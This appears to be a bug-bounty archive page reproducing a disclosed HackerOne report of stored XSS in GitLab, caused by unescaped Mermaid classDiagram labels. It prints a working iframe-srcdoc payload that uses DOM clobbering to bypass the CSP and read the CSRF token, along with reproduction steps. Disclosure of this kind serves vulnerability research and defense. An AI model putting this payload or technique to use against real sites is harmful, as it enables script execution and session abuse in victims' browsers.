Skip to content
XSS Disclosed report Intermediate

Stored XSS via Mermaid classDiagram with CSP Bypass

Mermaid classDiagram labels did not escape HTML special characters, allowing an attacker to inject an iframe with a srcdoc attribute containing a script. This enabled stored cross-site scripting, and the attacker could use DOM clobbering to bypass CSP and read the CSRF token, leading to JavaScript execution as the victim.

GitLab

Originally disclosed on GitLab

  • Fixed in 31 days
  • Disclosed after 31 days

HackerOne report #1422166 by cryptopone on 2021-12-10, assigned to @ankelly:

Report | How To Reproduce

Report

Summary

I have been investigating https://hackerone.com/reports/1106238 and https://gitlab.com/gitlab-org/gitlab/-/issues/341496 and found an additional method of executing code when using Mermaid 8.13.2.

Class08 <--> C2: Cool label<iframe srcdoc=''>  

Using the new vector I found I was limited to executing code on the gitlab.com domain. I was able to use DOM clobbering in a similar fashion to the gitlab report to retrieve the CSRF token.

<form/id=gon><input/name=u2f></form><br/id=js-register-token-2fa>  
<p/id=js-register-token-2fa-setup>$#123;alert#40;parent.document.querySelector#40;#39;meta[name=csrf-token]#39;#41;.outerHTML#41;#125;</p>  
<script src=/assets/webpack/runtime.d12f895f.bundle.js></script>  
<script src=/assets/webpack/main.d55ebeb7.chunk.js></script>  
<script src=/assets/webpack/commons-globalSearch-pages.admin.abuse_reports-pages.admin.groups.show-pages.dashboard.todos.index-p-783efff0.6a7137d9.chunk.js></script>  
<script src=/assets/webpack/commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.b5b8a5d4.chunk.js></script>  
<script src=/assets/webpack/commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-9cf449b3.1e7d7abc.chunk.js></script>  
<script src=/assets/webpack/commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.39868349.chunk.js></script>  
<script src=/assets/webpack/pages.profiles.two_factor_auths.cd157b61.chunk.js></script>  
Steps to reproduce
  1. Navigate to the Issues section in a repository and click "New Issue".
  2. In the description field - write tab, use the following mermaid diagram code (new lines removed to respect mermaid's format requirements):
classDiagram  
Class08 <--> C2: Cool label<iframe/srcdoc='<form/id=gon><input/name=u2f></form><br/id=js-register-token-2fa><p/id=js-register-token-2fa-setup>$#123;alert#40;parent.document.querySelector#40;#39;meta[name=csrf-token]#39;#41;.outerHTML#41;#125;</p><script src=/assets/webpack/runtime.d12f895f.bundle.js></script><script src=/assets/webpack/main.d55ebeb7.chunk.js></script><script src=/assets/webpack/commons-globalSearch-pages.admin.abuse_reports-pages.admin.groups.show-pages.dashboard.todos.index-p-783efff0.6a7137d9.chunk.js></script><script src=/assets/webpack/commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.b5b8a5d4.chunk.js></script><script src=/assets/webpack/commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-9cf449b3.1e7d7abc.chunk.js></script><script src=/assets/webpack/commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.39868349.chunk.js></script><script src=/assets/webpack/pages.profiles.two_factor_auths.cd157b61.chunk.js></script>'>  
  1. Save your changes.
  2. Open the issue. Note the CSRF token is revealed in an alert window.
Impact

This allows for JavaScript execution as the authenticated user without the user needing to interact with the page.

Examples

Private project repository - https://gitlab.com/cryptopone1/test-project/ as the first (#1) issue.

What is the current bug behavior?

The HTML special characters are not escaped, allowing an iframe to be injected into the page with XSS.

What is the expected correct behavior?

The HTML special characters would be escaped and shown in the diagram.

Output of checks

This bug is reproducible on Gitlab.com

Impact

JavaScript execution as the authenticated user without the user needing to interact with the page.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute JavaScript as the authenticated user without user interaction.

What the attacker needed

Attacker can create an issue with a mermaid diagram; victim views the issue

The fix

The HTML special characters should be escaped and shown in the diagram.

How it was found

  1. Navigate to the Issues section in a repository and click 'New Issue'.
  2. In the description field, write a mermaid diagram with a classDiagram and a label containing an iframe with srcdoc.
  3. Save the issue.
  4. Open the issue and observe the CSRF token revealed in an alert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website shows user-supplied text, it must escape special characters like < and > so they appear as text, not code. Here, a diagram tool failed to do that, letting an attacker insert an iframe that ran JavaScript. The attacker also tricked the page's security policy by using HTML elements with specific IDs to access sensitive data.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.